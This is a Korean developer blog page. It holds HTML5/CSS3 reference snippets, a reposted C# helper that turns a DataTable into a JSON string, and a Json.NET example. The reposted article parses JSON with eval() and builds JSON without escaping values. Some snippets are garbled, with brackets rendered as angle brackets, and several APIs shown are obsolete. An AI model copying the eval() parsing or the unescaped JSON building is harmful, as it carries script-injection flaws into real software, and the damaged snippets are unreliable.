16.</header>
17.<p>2010 년 7 월 2 일 ...</p>
18.<!-- 블로그 글 내용 -->
19.<footer>
20.<p>
21.<time pubdate datetime="2010-06-20T14:36-08:00">어제</time> 작성 되었음
22.</p>
23.</footer>
24.</article>
25.<article> <!-- 생략 -->
26.</article>
27.<article> <!-- 생략 -->
28.</article>
29.</div>
30.<footer>
31.<p> <!-- 푸터임을 알기에 nav를 쓰지 않고 그냥 p  -->
32.<a href="about.html">이 블로그에 관하여</a>
33.| <a href="policy.html">개인정보 보호정책</a>
34.| <a href="contact.html">연락처</a>
35.</p>
36.</footer>
37.</body>

CSS3

text-shadow

  • 그림자 효과
  • blur 생략시 0
1.text-shadow:5px 5px 0 #ccc;
2.filter:progid:DXImageTransform.Microsoft.dropshadow(OffX=5, OffY=5,
3.Color=#cccccc, Positive=true);
4.display:inline-block; zoom:1; text-shadow:x_offset y_offset
5.blur_radius color

text-overflow

  • 글이 넘칠때 말줄임표(...)
1.text-overflow:ellipsis;
2.-o-text-overflow:ellipsis;

word-wrap

  • 워드랩 (강제 개행)
1.word-wrap:break-word;

@font-face

  • ttf (비 IE지원)
  • eot (IE 지원)
1.@font-face{ font-family:ngttf; src:url(NanumGothic.ttf);}
2.@font-face{ font-family:ngeot; src:url(NanumGothic.eot);}
3.body, input, textarea, select, button{ font-family:NanumGothic, 맑은고딕, ngttf, ngeot;}

opacity

  • 투명도
1.opacity:0.5;
2.filter:alpha(opacity=50);

box-shadow

  • 박스형 테두리 그림자
  • 순서 : X좌표, Y좌표, blur값, 그림자색
1.box-shadow:10px 10px 10px silver;
2.-moz-box-shadow:10px 10px 10px silver;
3.-webkit-box-shadow:10px 10px 10px silver;
4.filter:progid:DXImageTransform.Microsoft.Shadow(color=silver,direction=135, strength=10); box-shadow:x_offset y_offset blur_radius color

border-radius

  • 둥근 테두리
1.border-radius:30px;
2.-moz-border-radius:30px;
3.-webkit-border-radius:30px;

background(s)

1.background:
2.url(bg.gif) no-repeat left top,
3.url(bg.gif) no-repeat right top,
4.url(bg.gif) no-repeat left bottom,
5.url(bg.gif) no-repeat right bottom;

gradient

1.background:#3EAF0E -webkit-gradient(linear, 0% 0%, 0% 100%,
2.from(#3EAF0E), to(#fff));
3.background:#3EAF0E -moz-linear-gradient(top, #3EAF0E, #fff);
4.filter:progid:DXImageTransform.Microsoft.gradient(startColorStr=#3EAF0E, endColorStr=#ffffff);

transform

  • 회전, 이동, 크기, 비틀기
1.-o-transform:rotate(90deg);-o-transform-origin:0 100%;
2.-moz-transform:rotate(90deg);-moz-transform-origin:0 100%;
3.-webkit-transform:rotate(90deg);-webkit-transform-origin:0 100%;
4.filter:progid:DXImageTransform.Microsoft.Matrix(M11=6.123031769111886
5.e-17, M12=-1, M21=1, M22=6.123031769111886e-17, sizingmethod='autoexpand');

transition

  • 메뉴에 마우스 올리면 부드럽게 움직이는 효과
1.a{padding:10px 15px; margin:0;
2.-o-transition:0.2s;
3.-webkit-transition:0.2s;
4.}
5.a:hover{padding:15px 20px; margin:-6px; opacity:0.8;}

animation

  • 'webkitFire'라는 사용자 정의 에니메이션 실행
1..ani { -webkit-animation:webkitFire infinite 1s linear;}
2.@-webkit-keyframes 'webkitFire'{
3.from{ -webkit-transform:rotate(0deg);}
4.to{-webkit-transform:rotate(360deg);}
5.}

HTML5 API

미디어 요소 - Audio와 Video 요소

01.<video autoplay>
02.<source src="foo.ogg" type="video/ogg">
03.<source src="foo.mp4" type="video/mp4">
04.<source src="foo.webm" type="video/webm">
05.당신의 브라우저는 <pre><video></pre> 요소를 지원하지 않습니다.
06.</video>
07.<input type="button" onclick="playPause()" value="Play/Pause">
08. 
09.function playPause() {
10.var myVideo = document.getElementsByTagName('video')<0>;
11.if (myVideo.paused)
12.myVideo.play();
13.else
14.myVideo.pause();
15.}

미디어 요소 - Canvas 요소

1.<canvas id="example" width="200" height="200">
2.이 메시지는 사용자의 브라우저에서 HTML5 캔버스를 지원하지 않는 경우 표시 됨
3.</canvas>
4. 
5.var example = document.getElementById('example');
6.var context = example.getContext('2d');
7.context.fillStyle = "rgb(255,0,0)";
8.context.fillRect(30, 30, 50, 50);

미디어 요소 - SVG(Scalable Vector Graphics) 요소

2.<rect x="10" y="10" height="100" width="100" style="stroke:#ff0000; fill: #0000ff"/>
3.</svg>

Offline Application Cache

  • 리소스를 로컬에 저장하면 ==> 오프라인 브라우징, 속도 향상, 서버 부하 감소(브라우저는 변경된 리소스만 다운로드)
  • 캐시파일 목록 지정
1.<html manifest="http://foo.example.com/example.manifest">  // mime-type은 "text/cache-manifest"
  • manifest 예제
01.CACHE MANIFEST              // 첫줄에 항상 위치
02.# 명시적으로 캐시된 항목  // 주석은 #으로 시작
03.CACHE:
04.index.html
05.stylesheet.css
06.images/logo.png
07.scripts/main.js
08.# 사용자가 온라인 상태가 되었을 때 필요한 리소스들
09.NETWORK:
10.login.php
11./myapi
13.# static.html 파일은 main.py 파일에 접근할 수 없을 때 보여짐
14.FALLBACK:
15./main.py /static.html
16./ /offline.html             // 오프라인되면 offline.html 이 보여짐
  • window.applicationCache 개체

    • status 프로퍼티 : 캐시 상태 확인 - appCache.UNCACHED, appCache.IDLE, appCache.CHECKING, appCache.DOWNLOADING, appCache.UPDATEREADY, appCache.OBSOLETE
    • upate() : 캐시를 갱신하도록 시도
    • swapCache() : 오래된 캐시를 새로운 파일로 교체
    • addEventListener() : 이벤트 리스너 등록
  • window.applicationCache 개체 예제

01.var appCache = window.applicationCache;
02.appCache.update(); // 사용자의 캐시를 갱신하도록 시도함
03....
04.if (appCache.status == window.applicationCache.UPDATEREADY) {
05.appCache.swapCache(); // 가져오기에 성공한 경우 새로운 캐시로 교체
06.}
07. 
08.function handleCacheEvent(e) {
09.//...
10.}
11.function handleCacheError(e) {
12.alert('Error: 젠장! 캐시 갱신을 실패하였습니다.');
13.};
14. 
15.// 최초 manifest 의 캐시가 완료된 경우 이밴트 발생
16.appCache.addEventListener('cached', handleCacheEvent, false);

Web Storage

  • Client-Side Database
  • Key-value 형식, 보관/갱신/호출
  • 브라우저에서 제공하는 저장공간 사용 (다른 브라우저간 호환 안됨)
  • 종류 : localStorage / sessionStorage (브라우저 종료 후 데이터 유지 여부에 따라)
  • 예제
01.if (typeof(localStorage) == 'undefined' ) {
02.alert('당신의 브라우저는 HTML5 localStorage 를 지원하지 않습니다. 브라우저를 업그레이드하세요.');
03.} else {
04.try {
05.localStorage.setItem("name", "Hello World!"); // key-value 형식으로 저장
06.} catch (e) {
07.if (e == QUOTA_EXCEEDED_ERR) {
08.alert('할당량 초과!'); // 할당량 초과로 인하여 데이터를 저장할 수 없음
09.}
10.}
11.document.write(localStorage.getItem("name")); // 저장된 값 호출
12.localStorage.removeItem("name"); // 스토리지로 부터 일치하는 아이템 삭제
13.}
  • 쿠키는 HTTP 요청헤더에 포함됨 --> 응답시간에 나쁜 영향 --> Web Storage로 대체하라
1.if (('localStorage' in window) && window.localStorage !== null){
2.// Web Storage  사용
3.} else {
4.// document.cookie 사용
5.}

Web SQL Database

  • client 저장소에 영구 보존 가능, 덩치큰 데이터 체계적 관리 가능
  • 비동기 API : non-blocking 이므로 리턴값 사용X, 정의된 콜백함수에 데이터 전달됨
  • HTML을 통한 트랜젝션 : transaction(읽고 쓰기), readTransaction(읽기전용)
  • 데모 : http://html5.firejune.com/demo/webdb.html 

Web Sockets

  • Server & Client 사이의 full-duplex 통신채널. Comet의 대안으로 고안됨
  • 서버에서 Web Sockets 프로토콜을 지원해야 함.
  • XHR1보다 적은 대역폭, 빠른 송/수신
  • 클라이언트 예제
01.<!DOCTYPE html>
02.<html xmlns="http://www.w3.org/1999/xhtml">
03.<head>
04.<title>Web Socket Example</title>
05.<meta charset="UTF-8">
06.<script>
07.window.onload = function() {
08.var s = new WebSocket("ws://localhost:9876/");
09.s.onopen = function(e) { alert("opened"); }
10.s.onclose = function(e) { alert("closed"); }
11.s.onmessage = function(e) { alert("got: " + e.data); }
12.};
13.</script>
14.</head>
15.<body>
16.<div id="holder" style="width:600px; height:300px"></div>
17.</body>
18.</html>

Web Workers

01.<!DOCTYPE html>
02.<html>
03.<title>Test threads fibonacci</title>
04.<body>
05.<div id="result"></div>
06.<script language="javascript">
07.// 워커 생성, 할일은 js에 있음
08.var worker = new Worker("fibonacci.js");
09. 
10.// 워커의 작업결과
11.worker.onmessage = function(event) {
12.document.getElementById("result").textContent = event.data;
13.console.log("Got: " + event.data + "\n");
14.};
15. 
16.// 오류처리
17.worker.onerror = function(error) {
18.console.log("Worker error: " + error.message + "\n");
19.throw error;
20.};
21. 
22.// 작업 지시
23.worker.postMessage("5");
24.</script>
25.</body>
26.</html>

Server-Sent Event

  • 일종의 푸시 기술, 서버에서 이벤트 발생시 클라이언트로 즉시 전달
  • Client 코드
1.var source = new EventSource('event.php');
2.source.onmessage = function (event) {
3.alert(event.data);
4.};
  • Server 코드 (PHP)
1.<?php
2.header("Content-Type: text/event-stream");
3.echo "data: " . time() . "\n";
4.?>

Rich Web API

Selector API

  • querySelector() : 노드를 발견하지 못하면 null
  • querySelectorAll() : 노드를 발견하지 못하면 빈 목록
  • 예제
01.// 클래스 이름이 'warning', 또는 'note'인 단락 요소(<p>)를 모두 찾음
02.var special = document.querySelectorAll("p.warning, p.note");
03. 
04.// id 가 'main', 'basic', 'exclamation'인 요소들 중 첫 번째 발견된 요소를 찾음
05.var el = document.querySelector("#main, #basic, #exclamation");
06. 
07.// HTML 문서의 <body>에 속한 <style> 요소들 중 'type' 속성이 없거나, 'text/css'인 첫 번째 발견된 요소를 찾음
08.var style = document.body.querySelector("style<type='text/css'>, style:not(<type>)");
09. 
10.// id 가 'fruits'인 요소의 <input> 요소(체크박스)들 중 선택된(checked) 요소를 찾음
11.var list = document.querySelectorAll("#fruits input:checked");
12. 
13.// 또는
14.var list = document.getElementByID('fruits').querySelectorAll("input:checked");

Drag and Drop

Geolocation

01.// Geolocation 지원여부 확인
02.if (navigator.geolocation) {
03.console.log('Geolocation 을 지원합니다.');
04.}
05.else {
06.console.log('이 브라우저또는 OS 는 Geolocation 을 지원하지 않습니다.');
07.}
08. 
09.// 페이지 로드시 위치정보 표시
10.window.onload = function() {
11.var startPos;
12.navigator.geolocation.getCurrentPosition(function(position) {
13.startPos = position;
14.document.getElementById('startLat').innerHTML = startPos.coords.latitude;
15.document.getElementById('startLon').innerHTML = startPos.coords.longitude;
16.}, function(error) {
17.alert('오류 발생. 오류 코드: ' + error.code);
18.// error.code 는 다음을 의미함:
19.// 0: 알 수 없는 오류
20.// 1: 권한 거부
21.// 2: 위치를 사용할 수 없음 (이 오류는 위치 정보 공급자가 응답)
22.// 3: 시간 초과
23.});
24.};

IndexedDB

  • on/offline 저장 가능, Client-side Database
  • Web Database 와 비교시..
    • 스크립트로 다루기에 최적화된 인터페이스
    • 알고리즘 방식의 입/출력
    • 동기/비동기 지원
    • 커서 지원하여 RDB 형식으로 설계가능
  • 예제
01.var db = indexedDB.open('books', 'Book store', false);
02.if (db.version !== '1.0') {
03.var olddb = indexedDB.open('books', 'Book store');
04.olddb.createObjectStore('books', 'isbn');
05.olddb.createIndex('BookAuthor', 'books', 'author', false);
06.olddb.setVersion("1.0");
07.}
08.// db.version === "1.0";
09.var index = db.openIndex('BookAuthor');
10.var matching = index.get('fred');
11.if (matching)
12.report(matching.isbn, matching.name, matching.author);
13.else
14.report(null);

Notifications

File API

WebGL

아이폰 기반 HTML5 앱 개발

개요

01.// 등록되는 아이콘, iPhone : 57x57 ,iPad : 72x72 사이즈의 png
02.// 자동으로 모서리 둥글게 처리됨 (싫으면 파일이름을 apple-touch-icon-precomposed.png 로 하라)
03.<link rel="apple-touch-icon" href="/apple-touch-icon.png"/>
04.// 로딩시 StartUp 이미지
05.<link rel="apple-touch-startup-image" href="/startup.png">
06.// 브라우저 UI를 안보이게 함(마치 native app 처럼)
07.<meta name="apple-mobile-web-app-capable" content="yes" />
08.// 상태바의 색상을 지정 (default:회색, black , black-translucent:반투명)
09.<meta name="apple-mobile-web-app-status-bar-style" content="black" />

개발 & 테스트

 

'PP > HTML5' 카테고리의 다른 글

VIDEO  (0) 2012.01.05
HTML5 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 04:32
출처 :

http://weblogs.asp.net/navaidakhtar/archive/2008/07/08/converting-data-table-dataset-into-json-string.aspx

 

Converting Data Table / Dataset Into JSON String

JSON (Java Script Object Notation), is a light weight, easily understandable to read and write string. It is also easily parse-able by machine.

JSON is introduced on two structues

A collection (key/value pair)

And ordered list of values.

I have not covered this topic in detail. Detailed analysis is stated on http://www.json.org/.

I am presenting a helper function (in C#) fordevelopers for fast parsing on datatable / dataset into JSON String,and access it on client-side.

public static string GetJSONString(DataTable Dt)

{

string[] StrDc = new string[Dt.Columns.Count];

string HeadStr = string.Empty;

for (int i = 0; i < Dt.Columns.Count; i++)

{

StrDc[i] = Dt.Columns[i].Caption;

HeadStr += "\"" + StrDc[i] + "\" : \"" + StrDc[i] + i.ToString() + "¾" + "\",";

}

HeadStr = HeadStr.Substring(0, HeadStr.Length - 1);

StringBuilder Sb = new StringBuilder();

Sb.Append("{\"" + Dt.TableName + "\" : [");

for (int i = 0; i < Dt.Rows.Count; i++)

{

string TempStr = HeadStr;

Sb.Append("{");

for (int j = 0; j < Dt.Columns.Count; j++)

{

TempStr = TempStr.Replace(Dt.Columns[j] + j.ToString() + "¾", Dt.Rows[i][j].ToString());

}

Sb.Append(TempStr + "},");

}

Sb = new StringBuilder(Sb.ToString().Substring(0, Sb.ToString().Length - 1));

Sb.Append("]};");

return Sb.ToString();

}

Here, Dt is the datatable, and it returns JSON formatted string.

For detailed porcedure on how to access this string on client side, please refer to this link Exposing Webservices to Client-Side because I don't like to do task repetition.

Please donot forget to convert to JSON string to JSON Object using

var JObject = eval('(' + JSONString + ')');

in Javascript JObject have all characteristics of JSON object, through which you can Use JObject by iterrating or what so ever.

e.g., you can use your JObject as

for(var i = 0; i < JObject .Employees.length; i++)

{

var val1 = JObject.Employees[i].EmployeeID;

var val2 = JObject.Employees[i].NationalIDNumber;

var val3 = JObject.Employees[i].Title;

var val4 = JObject.Employees[i].BirthDate;

var val5 = JObject .Employees[i].HireDate ;

}

Please note that I am querieng data from AdventurWorksDB SQL Sample Database (Table: Employee).

I hope this article will be helpful for you.

Any Questions / Queries ??

Regards,

Naveed Akhtar




'PP > JSON' 카테고리의 다른 글

JSON 의 eval() 함수 사용의 문제  (0) 2012.01.09
JSON Text를 JSON Object로 변환하기  (0) 2012.01.09
Json / JQuery (Ajax)/ Asp.net 3가지를 연동하여 데이터 가져오기  (0) 2012.01.07
JSON 개요 및 예제  (0) 2012.01.04
JSON.NET  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 04:30
http://json.codeplex.com/

 
DataSet <-> Json 파일

최근 이슈가 되고 있는 Json(Javascript Object Notation)은 텍스트 타입의 데이터 처리 방식에 있어서 XML을 대체할 만한 또 다른 형태이다.

장점이라면 XML DOM 호출에 비해 처리 속도가 뛰어나며, Cross-site Domian에서도 사용이 가능하다.

 

현재 관리하고 있는 사이트를 좀 더 가볍게 하기 위해 기존 XML이나 DataSet의 형태를 Json으로 작업하기 위해 관련 자료를 찾아보던 중

Codeplex에서 소개하고 있는 Json.NET framework을 사용해 보았다...

 

        public string Serialize(object value)
        {
            Type type = value.GetType();

            JsonSerializer json = new JsonSerializer();

            json.NullValueHandling = NullValueHandling.Ignore;

            json.ObjectCreationHandling = ObjectCreationHandling.Replace;
            json.MissingMemberHandling = MissingMemberHandling.Ignore;
            json.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;

 

            if (type == typeof(DataRow))
                json.Converters.Add(new DataRowConverter());
            else if (type == typeof(DataTable))
                json.Converters.Add(new DataTableConverter());
            else if (type == typeof(DataSet))
                json.Converters.Add(new DataSetConverter());

 

            StringWriter sw = new StringWriter();
            JsonTextWriter writer = new JsonTextWriter(sw);
            if (this.FormatJsonOutput)
                writer.Formatting = Formatting.Indented;
            else
                writer.Formatting = Formatting.None;

 

            writer.QuoteChar = '"';
            json.Serialize(writer, value);

 

            string output = sw.ToString();
            writer.Close();
            sw.Close();

 

            return output;
        }

        public object Deserialize(string jsonText, Type valueType)
        {
            JsonSerializer json = new JsonSerializer();

 

            json.NullValueHandling = NullValueHandling.Ignore;
            json.ObjectCreationHandling = ObjectCreationHandling.Replace;
            json.MissingMemberHandling = MissingMemberHandling.Ignore;
            json.ReferenceLoopHandling = ReferenceLoopHandling.Ignore;

 

            StringReader sr = new StringReader(jsonText);
            JsonTextReader reader = new JsonTextReader(sr);
            object result = json.Deserialize(reader, valueType);
            reader.Close();

 

            return result;
        }

 

 

위 두개의 Method는 테이터 타입의 정보를 Json 형태로 변환이 가능하다.

예로 DataSet의 데이터를 Json으로 변환해 보자..

 public void SetJson()

{

    string JsonFileNM = "Test_JsonFile.jsf";

    string JsonString = string.Empty;

    DataSet ds =  null;

 

    ds = Test.GetData(...);

    JsonString = Serialize(ds);

     ....

     //*******************//

     // JsonFileNM로 파일 저장  //

     //*******************//

 ...

}

 

public DataSet GetJson(Sstring jsonText)

{

    DataSet ds = (DataSet)Deserialize(jsonText, typeof(DataSet)));

    return ds;

}

 

Json.NET framework의 특징은 다음과 같다.

-Flexible JSON serializer to convert .NET objects to JSON and back again
-LINQ to JSON for reading and writing JSON
-Writes indented, easy to read JSON
-Convert JSON to and from XML
-Supports Silverlight and Windows Phone

 

CodePlex에서 관련 소스를 download가 가능하다.

http://json.codeplex.com/

http://www.west-wind.com/Weblog/posts/471835.aspx